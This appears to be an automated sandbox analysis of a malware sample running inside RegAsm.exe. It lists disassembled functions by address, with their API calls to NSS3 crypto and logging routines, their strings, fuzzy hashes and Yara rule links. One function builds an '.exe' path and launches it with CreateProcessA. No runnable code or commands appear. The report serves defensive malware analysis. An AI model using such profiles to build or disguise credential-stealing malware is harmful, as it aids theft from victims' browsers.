Instruction Fuzzy Hash: 78A1CFB5E002159BEF00DF64DC45FAABBB4EF09309F144128E809AB751E731E999CBE1

Function 6C4BE550 Relevance: 23.1, APIs: 12, Strings: 1, Instructions: 384COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C4BE5A0

Part of subcall function 6C51C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C51C2BF

memcpy.VCRUNTIME140(?,?,?), ref: 6C4BE5F2

Strings

0, xrefs: 6C4BEA4D

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: ErrorValuememcpy
String ID: 0
API String ID: 3044119603-4108050209
Opcode ID: 14794eecbe7a7f09c1cd1a27455c349f1f38061f25b9a428665b3e5f3ba91203
Instruction ID: a62a8efd5e1c66bdd56c4b97583fb00b555cf8edcbfca9e56fe76c6aeba65042
Opcode Fuzzy Hash: 14794eecbe7a7f09c1cd1a27455c349f1f38061f25b9a428665b3e5f3ba91203
Instruction Fuzzy Hash: 97F13A759002199BDB21CF24CC84FDA77B9BF89318F0541E8ED08A7741E775AA95CBE0

Function 00410A60 Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 205stringprocesssynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

memset.MSVCRT ref: 00410C1C
lstrcatA.KERNEL32(?,00000000), ref: 00410C35
lstrcatA.KERNEL32(?,00420D7C), ref: 00410C47
lstrcatA.KERNEL32(?,00000000), ref: 00410C5D
lstrcatA.KERNEL32(?,00420D80), ref: 00410C6F
lstrcatA.KERNEL32(?,00000000), ref: 00410C88
lstrcatA.KERNEL32(?,00420D84), ref: 00410C9A
lstrlenA.KERNEL32(?), ref: 00410CA7
memset.MSVCRT ref: 00410CCD
memset.MSVCRT ref: 00410CE1

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,014FACF8,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,015003D8,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000020,00000000,00000000,?,?,00000000,?,00420D88,?,00000000), ref: 00410D5A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00410D66

Strings

.exe, xrefs: 00410A95

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlenmemset$CreateObjectProcessSingleSystemTimeWait
String ID: .exe
API String ID: 3577131086-4119554291
Opcode ID: 6364e5e739fe9739766a1ce8d8c7e5a183e8e2bdcb2e6e6671a0d6d634042010
Instruction ID: 8c4414bd7b792449c86a3c64e171a12ac7102eaeec46e1acf96b3d3d4dd6cf75
Opcode Fuzzy Hash: 6364e5e739fe9739766a1ce8d8c7e5a183e8e2bdcb2e6e6671a0d6d634042010
Instruction Fuzzy Hash: A78194B55111186BCB14FBA1CD52FEE7338AF44308F40419EB30A66082DE786AD9CF6E

Function 6C492C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?Il,?,6C48E477,?,?,?,00000001,00000000,?,?,6C493F23,?), ref: 6C492C62
EnterCriticalSection.KERNEL32(0000001C,?,6C48E477,?,?,?,00000001,00000000,?,?,6C493F23,?), ref: 6C492C76
PL_HashTableLookup.NSS3(00000000,?,?,6C48E477,?,?,?,00000001,00000000,?,?,6C493F23,?), ref: 6C492C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C48E477,?,?,?,00000001,00000000,?,?,6C493F23,?), ref: 6C492C93

Part of subcall function 6C51DD70: TlsGetValue.KERNEL32 ref: 6C51DD8C
Part of subcall function 6C51DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C51DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C48E477,?,?,?,00000001,00000000,?,?,6C493F23,?), ref: 6C492CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C48E477,?,?,?,00000001,00000000,?,?,6C493F23,?), ref: 6C492CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C48E477,?,?,?,00000001,00000000,?,?,6C493F23), ref: 6C492CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C48E477,?,?,?,00000001,00000000,?), ref: 6C492CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C48E477,?,?,?,00000001,00000000,?), ref: 6C492D4D
EnterCriticalSection.KERNEL32(?), ref: 6C492D61
PL_HashTableLookup.NSS3(?,?), ref: 6C492D71
PR_Unlock.NSS3(?), ref: 6C492D7E

Part of subcall function 6C4607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C3F204A), ref: 6C4607AD
Part of subcall function 6C4607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C3F204A), ref: 6C4607CD
Part of subcall function 6C4607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C3F204A), ref: 6C4607D6
Part of subcall function 6C4607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C3F204A), ref: 6C4607E4
Part of subcall function 6C4607A0: TlsSetValue.KERNEL32(00000000,?,6C3F204A), ref: 6C460864
Part of subcall function 6C4607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C460880
Part of subcall function 6C4607A0: TlsSetValue.KERNEL32(00000000,?,?,6C3F204A), ref: 6C4608CB
Part of subcall function 6C4607A0: TlsGetValue.KERNEL32(?,?,6C3F204A), ref: 6C4608D7
Part of subcall function 6C4607A0: TlsGetValue.KERNEL32(?,?,6C3F204A), ref: 6C4608FB

Strings

#?Il, xrefs: 6C492C43

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?Il
API String ID: 2446853827-3645613150
Opcode ID: 8b0a2c9f8a7a4b7e524c2255254513bc782c82746092ff7a22a54a76eec893f5
Instruction ID: 7d1eb7de6c9cb28985a7849adc07e7a1bab1163eac542aaa9ae28728dafe65d9
Opcode Fuzzy Hash: 8b0a2c9f8a7a4b7e524c2255254513bc782c82746092ff7a22a54a76eec893f5
Instruction Fuzzy Hash: 7E510576D00614ABEB10DF24DC44CAABB78BF1925CB058628EC199BB11EB31FD64C7E1

Function 6C54A4C0 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 145COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6C54A4E6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6C54A4F9
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C54A553
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6C54A5AC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C54A5F7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C54A60C
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000110E1,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C54A633
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C54A671
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6C54A69A

Strings

%s at line %d of [%.10s], xrefs: 6C54A62C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C54A61D, 6C54A68B, 6C54A6B3
database corruption, xrefs: 6C54A627

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: _byteswap_ulong$_byteswap_ushortsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2358773949-598938438
Opcode ID: a968ade1f50d54045e0daed764c9be7e1309c14185335a6ae6ca0cf3badf51ca
Instruction ID: d0aa4a13b626b506e1812a28b91d9d64b242b609eebd33aa6c3eeb605280005f
Opcode Fuzzy Hash: a968ade1f50d54045e0daed764c9be7e1309c14185335a6ae6ca0cf3badf51ca
Instruction Fuzzy Hash: 2F5193B5909310EBDB41DF25DC90A9E7BE0AF84318F048879F8495BA52F771DD84CB92

Function 6C4EAD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4EADB1

Part of subcall function 6C4CBE30: SECOID_FindOID_Util.NSS3(6C48311B,00000000,?,6C48311B,?), ref: 6C4CBE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C4EADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C4EAE08

Part of subcall function 6C4CB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C5A18D0,?), ref: 6C4CB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C4EAE25
PL_FreeArenaPool.NSS3 ref: 6C4EAE63
PR_CallOnce.NSS3(6C5D2AA4,6C4D12D0), ref: 6C4EAE4D

Part of subcall function 6C3F4C70: TlsGetValue.KERNEL32(?,?,?,6C3F3921,6C5D14E4,6C53CC70), ref: 6C3F4C97
Part of subcall function 6C3F4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C3F3921,6C5D14E4,6C53CC70), ref: 6C3F4CB0
Part of subcall function 6C3F4C70: PR_Unlock.NSS3(?,?,?,?,?,6C3F3921,6C5D14E4,6C53CC70), ref: 6C3F4CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4EAE93
PR_CallOnce.NSS3(6C5D2AA4,6C4D12D0), ref: 6C4EAECC
PL_FreeArenaPool.NSS3 ref: 6C4EAEDE
PL_FinishArenaPool.NSS3 ref: 6C4EAEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4EAEF5
PL_FinishArenaPool.NSS3 ref: 6C4EAF16

Strings

security, xrefs: 6C4EADEE

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 2445e26894205e78421e3443ce0e9ca2b7bd66a8300fc5fb4e78eb89ccb131fa
Instruction ID: 69d4db248a2457f138938533c6f96028f4a2c54286beabd337b85af67d1ceaa8
Opcode Fuzzy Hash: 2445e26894205e78421e3443ce0e9ca2b7bd66a8300fc5fb4e78eb89ccb131fa
Instruction Fuzzy Hash: C24128B198421067E720DB2C9C45FAA36B8EF4A31FF120929E81496F41FB35A90986D7

Function 6C4A25C0 Relevance: 22.8, APIs: 6, Strings: 7, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetSlotList), ref: 6C4A25DD
PR_LogPrint.NSS3( pulCount = 0x%p,?), ref: 6C4A262A

Part of subcall function 6C5809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C580BAB
Part of subcall function 6C5809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C580BBA
Part of subcall function 6C5809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C580D7E

PR_LogPrint.NSS3( pSlotList = 0x%p,?), ref: 6C4A260F

Part of subcall function 6C5809D0: OutputDebugStringA.KERNEL32(?), ref: 6C580B88
Part of subcall function 6C5809D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C580C5D
Part of subcall function 6C5809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C580C8D
Part of subcall function 6C5809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C580C9C
Part of subcall function 6C5809D0: OutputDebugStringA.KERNEL32(?), ref: 6C580CD1
Part of subcall function 6C5809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C580CEC
Part of subcall function 6C5809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C580CFB
Part of subcall function 6C5809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C580D16
Part of subcall function 6C5809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C580D26
Part of subcall function 6C5809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C580D35
Part of subcall function 6C5809D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C580D65
Part of subcall function 6C5809D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C580D70
Part of subcall function 6C5809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C580D90
Part of subcall function 6C5809D0: free.MOZGLUE(00000000), ref: 6C580D99

PR_LogPrint.NSS3( tokenPresent = 0x%x,?), ref: 6C4A25F6

Part of subcall function 6C5809D0: PR_Now.NSS3 ref: 6C580A22
Part of subcall function 6C5809D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C580A35
Part of subcall function 6C5809D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C580A66
Part of subcall function 6C5809D0: PR_GetCurrentThread.NSS3 ref: 6C580A70
Part of subcall function 6C5809D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C580A9D
Part of subcall function 6C5809D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C580AC8
Part of subcall function 6C5809D0: PR_vsmprintf.NSS3(?,?), ref: 6C580AE8
Part of subcall function 6C5809D0: EnterCriticalSection.KERNEL32(?), ref: 6C580B19
Part of subcall function 6C5809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C580B48
Part of subcall function 6C5809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C580C76
Part of subcall function 6C5809D0: PR_LogFlush.NSS3 ref: 6C580C7E

PR_LogPrint.NSS3( *pulCount = 0x%x,?), ref: 6C4A2699
PR_LogPrint.NSS3( slotID[%d] = %x,00000000,?), ref: 6C4A26C5

Strings

*pulCount = 0x%x, xrefs: 6C4A2694
pSlotList = 0x%p, xrefs: 6C4A260A
nXl, xrefs: 6C4A2646, 6C4A2675
slotID[%d] = %x, xrefs: 6C4A26C0
pulCount = 0x%p, xrefs: 6C4A2625
tokenPresent = 0x%x, xrefs: 6C4A25F1
C_GetSlotList, xrefs: 6C4A25D8

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Print$DebugOutputStringfflush$fwrite$R_snprintf$CriticalCurrentEnterExplodeFlushR_vsmprintfR_vsnprintfSectionThreadTimefputcfreememcpy
String ID: *pulCount = 0x%x$ pSlotList = 0x%p$ pulCount = 0x%p$ slotID[%d] = %x$ tokenPresent = 0x%x$C_GetSlotList$nXl
API String ID: 2625801553-2003990654
Opcode ID: 679430f62d44ed9ff1ff07f892e4e331e876e25a7ab7f4fcef52ff1035667fc3
Instruction ID: 5f60a2bc2fd72ce53fd5f4beda7c3abed035d34aab5631aeb86525edf30be12d
Opcode Fuzzy Hash: 679430f62d44ed9ff1ff07f892e4e331e876e25a7ab7f4fcef52ff1035667fc3
Instruction Fuzzy Hash: D731B431203290EFDB10DFD5DD8CE5577B1EB96319F058069E91887B22DB30AC46DB6A

Function 6C488DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C488E22
EnterCriticalSection.KERNEL32(?), ref: 6C488E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C488E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C488E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C488E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C488EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C488EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C488EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C488F00
free.MOZGLUE(?), ref: 6C488F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C488F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C488F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C488F5B
PR_Unlock.NSS3(?), ref: 6C488F72
PR_Unlock.NSS3(?), ref: 6C488F82

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: d5401abd28fb0f4c4cc5684b7a6de1b222f0200cefef02c415dbe6ea3db6ec2d
Instruction ID: a745584637d8cc5bc10e931b35f04d6af9d19015eb49c830e6087c2b27b1739d
Opcode Fuzzy Hash: d5401abd28fb0f4c4cc5684b7a6de1b222f0200cefef02c415dbe6ea3db6ec2d
Instruction Fuzzy Hash: C751E2B2E022159FEB00DF68CC84D6EB7B9EF85358B154129EC089B700E731ED4587E1

Function 6C4BEDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C4BEE0B

Part of subcall function 6C4D0BE0: malloc.MOZGLUE(6C4C8D2D,?,00000000,?), ref: 6C4D0BF8
Part of subcall function 6C4D0BE0: TlsGetValue.KERNEL32(6C4C8D2D,?,00000000,?), ref: 6C4D0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C4BEEE1

Part of subcall function 6C4B1D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C4B1D7E
Part of subcall function 6C4B1D50: EnterCriticalSection.KERNEL32(?), ref: 6C4B1D8E
Part of subcall function 6C4B1D50: PR_Unlock.NSS3(?), ref: 6C4B1DD3

TlsGetValue.KERNEL32 ref: 6C4BEE51
EnterCriticalSection.KERNEL32(?), ref: 6C4BEE65
PR_Unlock.NSS3(?), ref: 6C4BEEA2
free.MOZGLUE(?), ref: 6C4BEEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C4BEED0
PR_Unlock.NSS3(?), ref: 6C4BEF48
free.MOZGLUE(?), ref: 6C4BEF68
PR_SetError.NSS3(00000000,00000000), ref: 6C4BEF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C4BEFA4
free.MOZGLUE(?), ref: 6C4BEFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C4BF055
free.MOZGLUE(?), ref: 6C4BF060

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 997a928982f1f44679500ffe551d8e3bc81fcae07ab47b0342ffdef141ff92a4
Instruction ID: 11f6e83c7b709ec8ef11116217ce059535c92d5c2547ef586ae2bb3a393a3a0c
Opcode Fuzzy Hash: 997a928982f1f44679500ffe551d8e3bc81fcae07ab47b0342ffdef141ff92a4
Instruction Fuzzy Hash: 1A815D75A00209ABEB00DFA5DC85EDE7BB5BF48319F154068F909A7B11E731E9248BE1

Function 6C484CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C484D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C484D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C484DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C484E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C484E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C484E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C484E85
DER_Encode_Util.NSS3(?,?,6C5D05A4,00000000), ref: 6C484EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C484F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C484F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C484F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C484F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C484F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C484FC8

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
